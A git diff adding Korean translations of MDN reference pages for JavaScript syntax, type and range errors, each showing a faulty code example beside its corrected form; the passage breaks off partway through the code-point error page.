+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">About functions</a></li>
+ <li><a href="https://www.gutenberg.org/ebooks/84"><em>Frankenstein</em> by Mary Wollstonecraft Shelley, full e-text</a> ("Cursed (although I curse myself) be the hands that formed you! You have made me wretched beyond expression. You have left me no power to consider whether I am just to you or not. Begone! Relieve me from the sight of your detested form.")</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html
new file mode 100644
index 0000000000..b9149ac159
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html
@@ -0,0 +1,56 @@
+---
+title: 'SyntaxError: missing ] after element list'
+slug: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
+tags:
+ - 구문 에러
+ - 배열 초기자
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ] after element list
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>배열 초기자 구문에 오류가 있습니다. 닫는 대괄호("<code>]</code>") 또는 콤마("<code>,</code>")가 빠진 것 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="완성되지_않은_배열_초기자">완성되지 않은 배열 초기자</h3>
+
+<pre class="brush: js example-bad">var list = [1, 2,
+
+var instruments = [
+ 'Ukulele',
+ 'Guitar',
+ 'Piano'
+};
+
+var data = [{foo: 'bar'} {bar: 'foo'}];
+</pre>
+
+<p>바르게 고치면:</p>
+
+<pre class="brush: js example-good">var list = [1, 2];
+
+var instruments = [
+ 'Ukulele',
+ 'Guitar',
+ 'Piano'
+];
+
+var data = [{foo: 'bar'}, {bar: 'foo'}];</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html
new file mode 100644
index 0000000000..4fe7865664
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html
@@ -0,0 +1,78 @@
+---
+title: 'SyntaxError: missing : after property id'
+slug: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+tags:
+ - 객체 초기자
+ - 계산된 속성
+ - 구문 에러
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ':' (Edge)
+SyntaxError: missing : after property id (Firefox)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_문제일까">무엇이 문제일까?</h2>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 초기자</a> 구문으로 객체를 만들 때 콜론(<code>:</code>)은 객체의 속성을 키와 값으로 분리합니다.</p>
+
+<pre class="brush: js">var obj = { propertyKey: 'value' };
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="콜론_vs._등호">콜론 vs. 등호</h3>
+
+<p>객체 초기자 구문에는 등호를 사용할 수 없으므로 아래 예제는 실패합니다.</p>
+
+<pre class="brush: js example-bad">var obj = { propertyKey = 'value' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>콜론을 사용하거나 객체를 생성한 뒤에 대괄호를 사용하여 새로운 속성을 할당하는 것이 바릅니다.</p>
+
+<pre class="brush: js example-good">var obj = { propertyKey: 'value' };
+
+// 또는
+
+var obj = { };
+obj['propertyKey'] = 'value';
+</pre>
+
+<h3 id="빈_속성">빈 속성</h3>
+
+<p>아래와 같이 빈 속성을 만들 수 없습니다:</p>
+
+<pre class="brush: js example-bad">var obj = { propertyKey; };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>만약 값 없이 속성을 정의해야 한다면 값으로 {{jsxref("null")}}을 지정할 수 있습니다.</p>
+
+<pre class="brush: js example-good">var obj = { propertyKey: null };</pre>
+
+<h3 id="계산된_속성">계산된 속성</h3>
+
+<p>식으로 속성의 키를 만드는 경우 대괄호를 사용해야 합니다. 그렇지 않으면 속성 이름에 계산된 값을 사용할 수 없습니다:</p>
+
+<pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>식에 대괄호를 넣으세요 <code>[]</code>:</p>
+
+<pre class="brush: js example-good">var obj = { ['b'+'ar']: 'foo' };</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 초기자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html
new file mode 100644
index 0000000000..8e0abf94db
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html
@@ -0,0 +1,47 @@
+---
+title: 'SyntaxError: missing } after property list'
+slug: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing } after property list
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체를 초기화 하는 부분</a> 어딘가에 구문에 실수가 있습니다. 실제로 빠진 중괄호 일 수도 있지만, 누락 된 쉼표 일 수도 있습니다. 또한 닫는 중괄호나 괄호가 올바른 순서인지 확인하세요. 코드를 들여쓰기하거나 서식을 지정하면 좀 더 보기 쉽습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="쉼표를_까먹은_경우">쉼표를 까먹은 경우</h3>
+
+<p>종종 객체 초기화 과정에서 쉼표를 빠트리는 경우가 있습니다:</p>
+
+<pre class="brush: js example-bad">var obj = {
+ a: 1,
+ b: { myProp: 2 }
+ c: 3
+};
+</pre>
+
+<p>올바른 예시는 다음과 같습니다:</p>
+
+<pre class="brush: js example-good">var obj = {
+ a: 1,
+ b: { myProp: 2 },
+ c: 3
+};
+</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html b/files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html
new file mode 100644
index 0000000000..be116cf3a4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html
@@ -0,0 +1,55 @@
+---
+title: 'SyntaxError: missing = in const declaration'
+slug: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: Const must be initalized (Edge)
+SyntaxError: missing = in const declaration (Firefox)
+SyntaxError: Missing initializer in const declaration (Chrome)
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었나요">무엇이 잘못되었나요?</h2>
+
+<p>상수는 일반적인 실행 중에 프로그램에 의해 변경될 수 없는 값입니다. 상수는 재할당되거나 재선언될 수 없습니다. 자바스크립트에서 상수는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> 키워드를 사용해 선언됩니다. 상수는 이니셜라이저가 필요합니다. 다시말해, 한 문장 안에 선언과 동시에 초기화가 이루어져야 합니다 (따라서 추후 수정 불가).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="const_이니셜라이저가_빠진_경우">const 이니셜라이저가 빠진 경우</h3>
+
+<p><code>var</code> 또는 <code>let</code>과 달리, <code>const</code> 선언에서는 반드시 값을 정의해야 합니다.</p>
+
+<pre class="brush: js example-bad">const COLUMNS;
+// SyntaxError: missing = in const declaration</pre>
+
+<h3 id="에러_수정">에러 수정</h3>
+
+<p>해당 에러를 수정하기 위해서 여러가지 방법이 존재합니다. 문제 상황에서 상수를 사용해 무엇을 하려 했는지 확인해보세요.</p>
+
+<h4 id="상수_값_추가">상수 값 추가</h4>
+
+<p>선언과 같은 문장에 상수 값을 정의합니다.</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;</pre>
+
+<h4 id="const_let_var"><code>const</code>, <code>let</code>, <code>var</code>?</h4>
+
+<p>상수를 선언할 목적이 아니었다면 <code>const</code>를 사용하지 마세요. <code>let</code> 키워드를 이용한 블록범위 변수, 또는 <code>var</code> 키워드를 이용한 전역 변수를 사용할 수 있습니다. 두 가지 경우 모두 초기값을 요구하지 않습니다.</p>
+
+<pre class="brush: js example-good">let columns;
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html b/files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html
new file mode 100644
index 0000000000..a549e48e51
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html
@@ -0,0 +1,63 @@
+---
+title: 'SyntaxError: missing name after . operator'
+slug: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator
+translation_of: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing name after . operator
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>점 연산자 (<code>.</code>)는 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">프로퍼티 접근</a>을 위해 사용합니다. 접근해야 하는 프로퍼티 명은 제대로 명시 해야 합니다. 연산 프로퍼티에 접근하려면, 점 연산자를 사용하지 않고 대괄호를 사용하는 것으로 프로퍼티 접근 방식을 바꿔야 합니다. 이런 방식들이 표현식의 계산을 수행시켜줄 것입니다. 아마 당신은 연결을 하려고 했을 것입니다. 이 경우에는 더하기 연산자(<code>+</code>)가 필요합니다. 아래의 예제를 봐주세요. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="프로퍼티_접근">프로퍼티 접근</h3>
+
+<p>JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">프로퍼티 접근자</a>는 점(.) 또는 대괄호(<code>[]</code>) 중 하나만 사용한다. 대괄호는 연산 프로퍼티에 접근을 허용합니다.   </p>
+
+<pre class="brush: js example-bad">var obj = { foo: { bar: "baz", bar2: "baz2" } };
+var i = 2;
+
+obj.[foo].[bar]
+// SyntaxError: missing name after . operator
+
+obj.foo."bar"+i;
+// SyntaxError: missing name after . operator
+</pre>
+
+<p>이 코드를 고치려면, 오브젝트에 이런 식으로 접근해야 합니다.:</p>
+
+<pre class="brush: js example-good">obj.foo.bar; // "baz"
+// 또는 대신에
+obj["foo"]["bar"]; // "baz"
+
+// 연산 프로퍼티는 대괄호가 필요합니다.
+obj.foo["bar" + i]; // "baz2"
+</pre>
+
+<h3 id="프로퍼티_접근_vs._연결">프로퍼티 접근 vs. 연결</h3>
+
+<p>다른 프로그램 언어를 사용하다 왔다면 ( {{Glossary("PHP")}} 같은), 점 연산자(<code>.</code>)와 연결 연산자(<code>+</code>)를 혼동해서 쓰기가 더 쉬울 것입니다.</p>
+
+<pre class="brush: js example-bad">console.log("Hello" . "world");
+
+// SyntaxError: missing name after . operator</pre>
+
+<p>대신에 결합을 위해서는 더하기 표식을 사용해야 합니다.:</p>
+
+<pre class="brush: js example-good">console.log("Hello" + "World");</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
new file mode 100644
index 0000000000..1f28ac1104
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
@@ -0,0 +1,38 @@
+---
+title: 'SyntaxError: missing ) after argument list'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ) after argument list
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>function을 호출하는 방식에 에러가 있는 것입니다. 맞춤법, 연산자 누락 또는 이스케이프 처리를 하지 않는 문자열과 같은 것으로 발생될 수 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>문자열을 합치는 "+" 연산자가 없기 때문에, Javascript는 <code>log</code> function에 대한 인수를 <code>"PI: "</code>로 인식을 합니다. 이 경우, 닫침 괄호가 누락된 것으로 인식을 합니다.</p>
+
+<pre class="brush: js example-bad">console.log('PI: ' Math.PI);
+// SyntaxError: missing ) after argument list
+</pre>
+
+<p>You can correct the <code>log</code> call by adding the "<code>+</code>" operator:</p>
+
+<pre class="brush: js example-good">console.log('PI: ' + Math.PI);
+// "PI: 3.141592653589793"</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html
new file mode 100644
index 0000000000..cd7b368aa4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html
@@ -0,0 +1,65 @@
+---
+title: 'SyntaxError: missing ) after condition'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ) after condition
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if</a></code>조건문에 에러가 있습니다. 어떠한 프로그래밍 언어에서든 코드는 입력값에 따라 의사를 결정하고 행동을 수행해야합니다. 지정된 조건이 true이면 if 문이 명령문을 실행합니다. 자바스크립트에서는 이 조건이 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if</a></code>문 다음의 괄호에 있어야 합니다. 다음은 그 예시입니다.</p>
+
+<pre class="brush: js">if (condition) {
+ // do something if the condition is true
+}</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>실수가 있을 수 있으니, 모든 괄호를 주의깊게 확인하세요.</p>
+
+<pre class="brush: js example-bad">if (3 &gt; Math.PI {
+ console.log("wait what?");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>이 코드를 고치기 위해선, 조건문을 괄호로 닫아야 합니다.</p>
+
+<pre class="brush: js example-good">if (3 &gt; Math.PI) {
+ console.log("wait what?");
+}</pre>
+
+<p>다른 프로그래밍 언어를 배운 경우, 자바스크립트에서는 다르게 쓰이거나, 쓰이지 않는 키워드를 사용하기 쉽습니다.</p>
+
+<pre class="brush: js example-bad">if (done is true) {
+ console.log("we are done!");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>이 경우 올바른 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">비교연산자</a>를 사용해야 합니다. 그 예시로:</p>
+
+<pre class="brush: js example-good">if (done === true) {
+ console.log("we are done!");
+}</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if...else</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a></li>
+ <li>
+ <p><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
new file mode 100644
index 0000000000..ec3334b52f
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
@@ -0,0 +1,63 @@
+---
+title: 'SyntaxError: missing ; before statement'
+slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ; before statement
+</pre>
+
+<h2 id="오류_타입">오류 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘_못_되었나">무엇이 잘 못 되었나?</h2>
+
+<p>어딘가에 세미 콜론(<code>;</code>)이 빠져 있습니다.  <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript 구문</a>은 반드시 세미 콜론으로 끝나야 합니다. 일부는 자동 세미콜론 삽입 (<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a>)의 영향을 받습니다. 그러나 이 경우에는 직접 세미 콜론을 써주어야 합니다. 그래야 JavaScript가 올바르게 해석 될 수 있기 때문입니다.</p>
+
+<p>그러나, 가끔, 이 오류는 또 다른 오류의 결과로도 나타날 수도 있습니다. 문자열을 escape 문자로 적절히 처리해 주지 않았을 때, 또는 <code>var</code> 키워드를 잘 못 사용했을 때와 같은 경우 입니다. 또한 어딘가에 너무 많은 괄호 기호를 사용했을 것입니다. 이 오류가 발생했을 때에는 문법을 신중히 검토해야 합니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Escape_처리되지_않은_문자열">Escape 처리되지 않은 문자열</h3>
+
+<p>이 오류는 문자열을 escape 처리 하지 않았을 때, JavaScript 엔진이 문자열 끝을 미리 예측하여 발생합니다. 예를 들자면 아래와 같습니다. :</p>
+
+<pre class="brush: js example-bad">var foo = 'Tom's bar';
+// SyntaxError: missing ; before statement</pre>
+
+<p>문자열을 묶어줄 때 쌍 따옴표를 사용하거나, 역슬래시를 이용해서 홑따옴표를 사용 할 수 있습니다. :</p>
+
+<pre class="brush: js example-good">var foo = "Tom's bar";
+var foo = 'Tom\'s bar';
+</pre>
+
+<h3 id="var와_함께_선언하는_것">var와 함께 선언하는 것</h3>
+
+<p>이미 <code>var</code> 선언된 object나 array의 요소를 새로 선언 할 수 없습니다.</p>
+
+<pre class="brush: js example-bad">var obj = {};
+var obj.foo = 'hi'; // SyntaxError missing ; before statement
+
+var array = [];
+var array[0] = 'there'; // SyntaxError missing ; before statement
+</pre>
+
+<p>대신에, <code>var</code>  키워드를 생략하고 정의합니다. :</p>
+
+<pre class="brush: js example-good">var obj = {};
+obj.foo = 'hi';
+
+var array = [];
+array[0] = 'there';
+</pre>
+
+<h2 id="참조_문서">참조 문서</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Automatic semicolon insertion (ASI)</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/more_arguments_needed/index.html b/files/ko/web/javascript/reference/errors/more_arguments_needed/index.html
new file mode 100644
index 0000000000..41137d2f63
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/more_arguments_needed/index.html
@@ -0,0 +1,45 @@
+---
+title: 'TypeError: More arguments needed'
+slug: Web/JavaScript/Reference/Errors/More_arguments_needed
+translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">TypeError: argument is not an Object and is not null (Edge)
+TypeError: Object.create requires at least 1 argument, but only 0 were passed
+TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 0 were passed
+TypeError: Object.defineProperties requires at least 1 argument, but only 0 were passed
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>함수 호출 시 에러가 있습니다. 더 많은 인수가 주어져야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>{{jsxref("Object.create()")}} 메서드는 적어도 1개의 인자가 필요하며, {{jsxref("Object.setPrototypeOf()")}} 메서드는 적어도 2개의 인자가 필요합니다.:</p>
+
+<pre class="brush: js example-bad">var obj = Object.create();
+// TypeError: Object.create requires at least 1 argument, but only 0 were passed
+
+var obj = Object.setPrototypeOf({});
+// TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 1 were passed
+</pre>
+
+<p>예를 들면, 이렇게 프로토 타입으로  {{jsxref("null")}}를 세팅해서 고칠 수 있습니다.:</p>
+
+<pre class="brush: js example-good">var obj = Object.create(null);
+
+var obj = Object.setPrototypeOf({}, null);</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/negative_repetition_count/index.html b/files/ko/web/javascript/reference/errors/negative_repetition_count/index.html
new file mode 100644
index 0000000000..b2437c9ad8
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/negative_repetition_count/index.html
@@ -0,0 +1,40 @@
+---
+title: 'RangeError: repeat count must be non-negative'
+slug: Web/JavaScript/Reference/Errors/Negative_repetition_count
+translation_of: Web/JavaScript/Reference/Errors/Negative_repetition_count
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: repeat count must be non-negative (Firefox)
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{jsxref("String.prototype.repeat()")}} 메소드가 사용되었습니다. 이 메소드는 문자열이 반복되는 수를 예측하는 카운트 파라메터를 가지고 있었습니다. 이 파라메터는 0보다 크고, 양의 {{jsxref("Infinity")}} 보다는 작으며, 음수는 될수 없습니다. 이 범위는 이렇게 표현 될 수 있습니다. : [0, +∞)</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(-1); // RangeError </pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0); // ''
+'abc'.repeat(1); // 'abc'
+'abc'.repeat(2); // 'abcabc'
+'abc'.repeat(3.5); // 'abcabcabc' (수는 정수로 변환될 것입니다.)
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/no_variable_name/index.html b/files/ko/web/javascript/reference/errors/no_variable_name/index.html
new file mode 100644
index 0000000000..e9d6ec6ee7
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/no_variable_name/index.html
@@ -0,0 +1,79 @@
+---
+title: 'SyntaxError: missing variable name'
+slug: Web/JavaScript/Reference/Errors/No_variable_name
+translation_of: Web/JavaScript/Reference/Errors/No_variable_name
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing variable name (Firefox)
+SyntaxError: Unexpected token = (Chrome)</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>변수에 이름이 없습니다. 이것은 코드 내의 구문 에러 때문일 수도 있습니다. 어쩌면 콤마를 잘 못 된 곳에 찍었거나, 변수명을 지을 때 애를 먹었을 수도 있습니다. 그럴 수도 있죠! 작명은 너무 어려우니까요. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="이름을_잃은_변수">이름을 잃은 변수</h3>
+
+<pre class="brush: js example-bad">var = "foo";
+</pre>
+
+<p>좋은 이름을 떠올리기 어려웠을 거예요. 우리 모두 겪는 일이죠.</p>
+
+<pre class="brush: js example-good">var ohGodWhy = "foo";</pre>
+
+<h3 id="예약어는_변수명이_될_수_없어요">예약어는 변수명이 될 수 없어요</h3>
+
+<p>예약어로 지정된 이름들이 변수로 쓰여 있습니다. 이것들은 사용할 수 없어요. 미안합니다. :(</p>
+
+<pre class="brush: js example-bad">var debugger = "whoop";
+// SyntaxError: missing variable name
+</pre>
+
+<h3 id="여러_변수를_선언하기">여러 변수를 선언하기</h3>
+
+<p>여러 변수를 한 번에 선언할 때에는 콤마에 주의를 기울여야 합니다. 쓸 데없는 콤마를 더 찍지는 않았는지? 무심코 세미콜론 대신 콤마를 찍지는 않았는지? </p>
+
+<pre class="brush: js example-bad">var x, y = "foo",
+var x, = "foo"
+
+var first = document.getElementById('one'),
+var second = document.getElementById('two'),
+
+// SyntaxError: missing variable name
+</pre>
+
+<p>올바르게 수정한 버전:</p>
+
+<pre class="brush: js example-good">var x, y = "foo";
+var x = "foo";
+
+var first = document.getElementById('one');
+var second = document.getElementById('two');</pre>
+
+<h3 id="배열">배열</h3>
+
+<p>JavaScript 의 {{jsxref("Array")}} 리터럴은 대괄호로 감싸주어야 합니다. 이건 동작하지 않아요.</p>
+
+<pre class="brush: js example-bad">var arr = 1,2,3,4,5;
+// SyntaxError: missing variable name
+</pre>
+
+<p>이렇게 해야 맞습니다:</p>
+
+<pre class="brush: js example-good">var arr = [1,2,3,4,5];</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Good variable names</a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Declarations">Variable declarations in the JavaScript Guide</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ko/web/javascript/reference/errors/not_a_codepoint/index.html
new file mode 100644
index 0000000000..782cea10f2
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/not_a_codepoint/index.html
@@ -0,0 +1,51 @@
+---
+title: 'RangeError: argument is not a valid code point'
+slug: Web/JavaScript/Reference/Errors/Not_a_codepoint
+translation_of: Web/JavaScript/Reference/Errors/Not_a_codepoint
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: {0} is not a valid code point (Firefox)
+RangeError: Invalid code point {0} (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{jsxref("String.fromCodePoint()")}} 메소드는 유효한 코드 포인트(<a href="https://en.wikipedia.org/wiki/Code_point">code point</a>)만을 받아들입니다.</p>
+
+<p><a href="https://en.wikipedia.org/wiki/Code_point">code point</a>는 유니코드의 코드 스페이스 값으로, <code>0</code>부터 <code>0x10FFFF</code>까지의 정수 범위입니다.</p>
+
+<p>{{jsxref("NaN")}}을 사용하는 값, 음수 (<code>-1</code>),  정수가 아닌 수(3.14), 또는 <code>0x10FFFF</code> (<code>1114111</code>) 보다 큰 값은 이 함수에 적용될 수 없습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="유효하지_않은_경우">유효하지 않은 경우</h3>
+
+<pre class="brush: js example-bad">String.fromCodePoint('_'); // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1); // RangeError
+String.fromCodePoint(3.14); // RangeError
+String.fromCodePoint(3e-2); // RangeError
